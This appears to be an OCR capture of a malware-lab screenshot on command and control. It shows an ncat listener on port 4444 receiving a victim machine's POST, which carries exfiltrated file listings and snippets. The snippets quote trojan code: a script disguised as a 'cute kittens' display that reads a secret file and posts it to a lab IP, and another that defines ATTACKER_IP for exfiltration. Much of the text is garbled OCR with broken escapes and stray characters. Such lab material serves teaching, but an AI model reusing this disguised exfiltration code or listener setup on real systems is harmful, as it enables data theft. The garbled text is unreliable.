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6- COMMAND & CONTROL (C?2)

C:\Program Files (x86)\Nmap>ncat.exe -lvp 4444
Ncat: Version 7.98 ( https://nmap.org/ncat )
) pod) 3gSJl [Ncat: Listening on [::]:4444

.. Ncat: Listening on 0.0.0.0:4444
Desktop / Documents/ Downloads T ‘—""“.‘JI ° Ncat: Connection from 192.168.235.143:49991.

(.PDF, DOCX, XLS) dago lslaioly lale goz o |*ZPOST / HTTP/1.1

Lolal U e .S Host: 192.168.235.129:4444
— | oo ahibo 351 User-Agent: python-requests/2.32.5

HTTPM_C (Q?LG-O-” )_é).,.”,l L@Jl.u))l N Accept-Encoding: gzip, deflate, zstd

Accept: */*
Connection: keep-alive
U DEFENSE: Content-Length: 5955

Content-Type: application/json
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Attacke VMware Worksta

+ Windows 10 Attacker - >V

=
Host: 192.168.235.129:4444
User-Agent: python-requests/2.32.5
Accept-Encoding: gzip, deflate, zstd
Accept: */*

Connection: keep-alive
iContent-Length: 5955

Content-Type: application/json

{"host™: "DESKTOP-374V4CG™, "count™: 8, "files": [{"path": "C:\\Users\\A\\Desktop\\LAB_WARNING_LAB.txt", “"ext": ".txt", "size": 141, "snippet”: "=== LAB MALWARE WARNING ===\nThis file

was created by a lab BAT script.\nIn a real attack, this could be a ransom note or attacker message.\n"}, {"path": "C:\\Users\\A\\Desktop\\test.txt", “ext™: ".txt"™, “size™: 2, "snipp
et”: "hi"}, {"path"™: "C:\\Users\\A\\Desktop\\trojan_all by ext.txt", “"ext™: ".txt", “size": 2679, “"snippet”: "import os\nimport socket\nimport requests\n\n# \uPdds\uddas\uood
8\ uBebY \udeds \uddaf\uddds\udda7\uedds\ueoaf\uddds\udda7\uddds\ubdaa \NATTACKER_IP = \"192.168.235.129\" # IP \uB@ds\ubfac\uded9\u2021\uleds\udda7\ueods\udob2\uled9\ue192 (
\uedds\uleb2\ueed9\ud160 \uddd9\u2026\uddds\ulla7 \uled9\u2021\uded9\ue2c6 \uldds\udobd\ubddd\u2020\ueeds\udeaf\uddd9\ue192) \nATTACKER_PORT = 4444\n\n# \uB@d8\ueda7\ueed9\u20le\uddd9\
U2026\ueBd8 \ubdac \uRed9\u20l1e\uodds\ueoaf\uddds\udda7\ueeds\ubaa \ubeds\uela7\uded9\u20le\uded9\u20le\uRd9\ud160 \ueed9\u2020\udeds\ubas\ueeds\ueead\uddds\utdab \ubed9\ueodd\ue16e\
u0edo\u2021\udeds\udda7 (\ueeds\uddaa\udddd\u201a\udods\uddaf\uedds\ueebl \uleds\uedaa\udeds\ubeb2\ueed9\ud2c6\uldds\ubaf\ueedd\u2021\uedds\ueda7) \nTARGET_DIRS = [\n os.path.join(
os .path.expanduser(\"~\""}, {"path": "C:\\Users\\A\\Desktop\\torjan\\torjan\\hourse.txt", “ext": ".txt", “size": 196, "snippet”: “import requests\n\nprint(\"Displaying cute kittens...

\u@afo\ue178\udebl\ ") \n\nwith open(\"C:\\\\Users\\\\Public\\\\secret.txt\", \"r\") as f:\n data = f.read()\n\nrequests.post(\"http://192.168.233.141:4444\", data=data)™}, {"path":

"C:\\Users\\A\\Desktop\\torjan\\torjan\\hourse_bad.txt", “ext™: ".txt", “size": 217, “"snippet™: "\u@@fo\ud178\u201d\udBa7 \u@8d9\u2026\uodd9\u201le\ud0ds\udoa7\udeds\ubead\uedds\udebs
\u@dds8\ubda7\ueeds\udtaa \uddd9\u2026\udBd9\u2021\uedd9\u2026\uddds\udead: \n\n\udBd9\u201e\udddo\ud2c6 \ulods\ubdaa\uodds\ubeas\udado\udl6e \ubed9\uel92\ubed9\u20le \udeds\udda7\ubeds
\u201e\uddd9\u2026\ub0d9\u201e\uO0d9\udRdB \uBBa7\uedd8 \ubBaa \udBds\udeaB\udads\uddaf\uPdd9\u2¢6\ubed9\u2020 \uledd\u2026\uedds\ula7 \ubdds\ubdaa\udlds\udlad\uddds\ubdaf\udeds\uddaf

\u@ods\udda7\uedd9\u2026\ueeds\uddaa\uddds \utaf\ueods\udea7\uedds \uedaf: \n\nINTERESTING_EXT = None\n\n\n\u@@d9\u20le\ueed9\ud2c6 \u@dd8\ublaa\ubdds\uboas\udedd\ue16e \udedd\u2020\ue
10d9\uB2¢6\uPBd8\uBebd \uded9\u2026\udeds\uedb\udod9\u160\ubdd9o\u2018\udad9\u2020 (\uedd9\u2026\ubddds\uddab\uded9\u201e\uddds\udda7\uded9\u2039 \ubeds\uddas\udeds\udeb3l PODF):\n\nINTE
RESTING_EXT = [\".pdf\"]\n"}, ("path®™: "C:\\Users\\A\\Desktop\\torjan\\torjan\\torjan.docx"™, "ext": ".docx™, “"size": 1734025, “snippet”™: "PK\u0003\u000d4\ud014\udd0o\ubtoos6\ueoad\b\uode
0\ u00ae\ LA | \ LR \uee10\uRefdw] \uLe17d\udeel\udaee \ueode_\ueeo7\ueeoo \uoeoo\udd13\ueedd \b\ueee2([Content_Types].xml \uBa2\uo0od\ueeo2(\uboad\udeee\udde2\utoo\ubeod \ueeoo \udeee \ueoe
0\ U200 \LEED \UBR0R \ LB \UPBEo \ UBee \ UDBee \LBReD \ Lo \ UBoYe \ LPB0e \ LEeDR \UDReR \ UBoRe \ LPBeR \uPBee \ LBeRd \ URBEe \LBooR \ U \ UBeRe \uUPBee \ LBeD \LDBee \ LBRee \ LB \ LBed \ UBRee \ UBeeR \ueeeo \u
10000\ U0V \ LD \ LERDD \ LDV \ LEOD0 \LDeY |\ LEDRe \LDDeR \ LEDRe \ LDoed \UOR0o \ LDoo \ LYo \ LDeeY \ LDO0Y \ UBYDO \ LD \ LEDo \LB0ee \LEDRR \LDoed \ LoD \ LDoR \ LBV \ LB \ LEVRe \LBeR \LeDoo \LBoed \LeYd
0\ U000\ LD \ LD \ LBBeD \ DD\ LBOdD \ LA \ LBEOD \ LDDR \ LBERD \ LD \ LB \LDREA \ UBORD \LDD0D \ UDDeo \UBdeR \UDdd \ LB\ UBB0O \ LBeoR \ LDDed \ UBodD \LORAR \ LEEDD \ LDRR \ UDRRR \UDdd \ LB \LBRed \u
10000\ U2e00 \ LDaee \ OO\ LD \ LD \ LDREeR \ URRRR \ UDEeR \ LER \ LB \ UBDRo \ LDEeR \LERRR \ LD \ LDReR \ LEOR \ LR \ LSRR \ LBReR \LERRR \ LD \ LA \ LR \ UBRRe \LDERR \ LB\ LB \ UBDRo \ LDeRe \uodd
10\ U0\ UBEOR \LOROR \ LB \ LD\ LBODD \URBoR \ LBeRo \ LB \UBoR \URB0R \ LBeRR \ LB \ LB \UDDD \UBDRe \ UBeoR \ LDDER \ LB \ LB \ UBeoR \LDRoR \ LD \ LR \ UBeDR \ LRBR \ LB \ L \UBeoe \udBee \u
10000\ UEV00 \ UDOLY \ UER0D \ LD \ LEODO \LDeD \ LEDRe \LUDDeY \UDDe \ LDod \ UBR0o \ LBeo? \ U0 \LBeeY \ LDB0R \ UYRE \ LD \ LeDo \ LD0ee \ LEDeR \ LDoee \Uoee \ LD \ UBYDo \ LB \ LR \ LBEeR \LeDoo \LDoeY \uoed
0\ U000\ UBSOD \uODeo \ LBEeR \ LB\ LBeDD \uLDDee \ LBeee \ LB \uBeoD \LDBee \ LBeees \ LB \ LB \LDBd \LeBRe \ UBeoe \LBDee \ LBeYR \ UDBee \ LBeoD \uDBoe \ LBoYe \ LB \ UBeoD \uDDee \ LBeRe \ LB \ LBeoa \udBee \u
10000 \ U000\ LDREA \ LOR0D \ LB \ LR \ LDBEY \ LORRo \ LD \ LR \ LBeEa \ LORRR \ LBOed \ ueDR \ LBRER \ LBER \ UBeRE \ LDEe \LEYRe \ LB \ UBDDe \ LDeeY \LoYRo \LBeee \ueee "}, {"path™: "C:\\Users\\A\\Documen
ts\\ ! X xt X", i 231, i t 2 " il ) k r = . e

2 il k 5 t i 2 il f1kN , {"path™: "C:\\Users\\A\\Documents\\test.docx", "ext": ".docx"™, “"size":
1951, "snippet”: "PK\uo803\uteo4\udo14\udedo\b\udeoo\b\utdoo\utd11vo\\\udedo\udod\utdoo \udaod\uddoo\uoooo \udnoo \udeoo \uddoe \uoeoo \utooo\udoon \udoad \Leeod \udoeo\udede rels/.rels; \udd
0e\uddc20\ue0100\ueRafbmO6P \u20le\udBe2\udda4AHi \udda3p\uedod\uddch\ueddesQ\uede2l\uddf3 \uddbb=. (\b\ud0a2\uedad\uddlc\utded\uddcc\ulddb\u2122\ueaay\ud2dc\u2026\ubedd( \udecd\uddciY\u
1000e \uBRdb\uB0a2\uBRB4FV: S5Y\ubecd\uddel\ubed2\ue1787\ueed7h\ublea\uddaa\udla3E \utdad \udec\uB2ch\ubdde3 \utdeds \udech\ueo11\uBe1b9\ud152) \ueefosb\u201d#\uee19\ud11\uedob\udde7\uedc9\ud
1026\ uBdch\udded\u201a\udd11) \uedch\udtao\ueddl\udoob9\udoobM\uedbs+\ueech=\u20200\ud0es6 \uddac\u2122\uddac\uBd17AS \ube2pwA\uBdalr\uBof2]\ubac8\uddab\ " \uede3\u20ac\uddbs\ud160\ud192\ue
178u\u@dd7\ud0aa\udddc \utdad\ued7fz\ueefa\udle7\uddb3\udd1b\u20201\uead2\ueded\n\utefaQ\ueded\uddch\uddal1\f\uddeb\nk3\uddeb\udd17PK\u@007\b0\u2039\ueddd<\uat\ud0od\udeoo\uddeo \uedlc
\u@201\uddee\utoaarK\uooa3\utead \uee14\udeed \b\ueeed \b\ueeeo \uee11ve\ \ \ubeod \ueeoe \LReee \ LDRed \ uBeRe \LDdeR \ LERR \ LPREA \ LR \LDRRR \ LD\ LBRR \LeD 1c\LRRRR \LBRRR \uUBeedword/_rels/docume
nt.xml.rels\ud@ad\u@dcb\n\uddc20\ued10E \ubo7fX\ubdcc\uedde \uddabu! \"M\uddbb\uee11\udal\ueddbR?"}])
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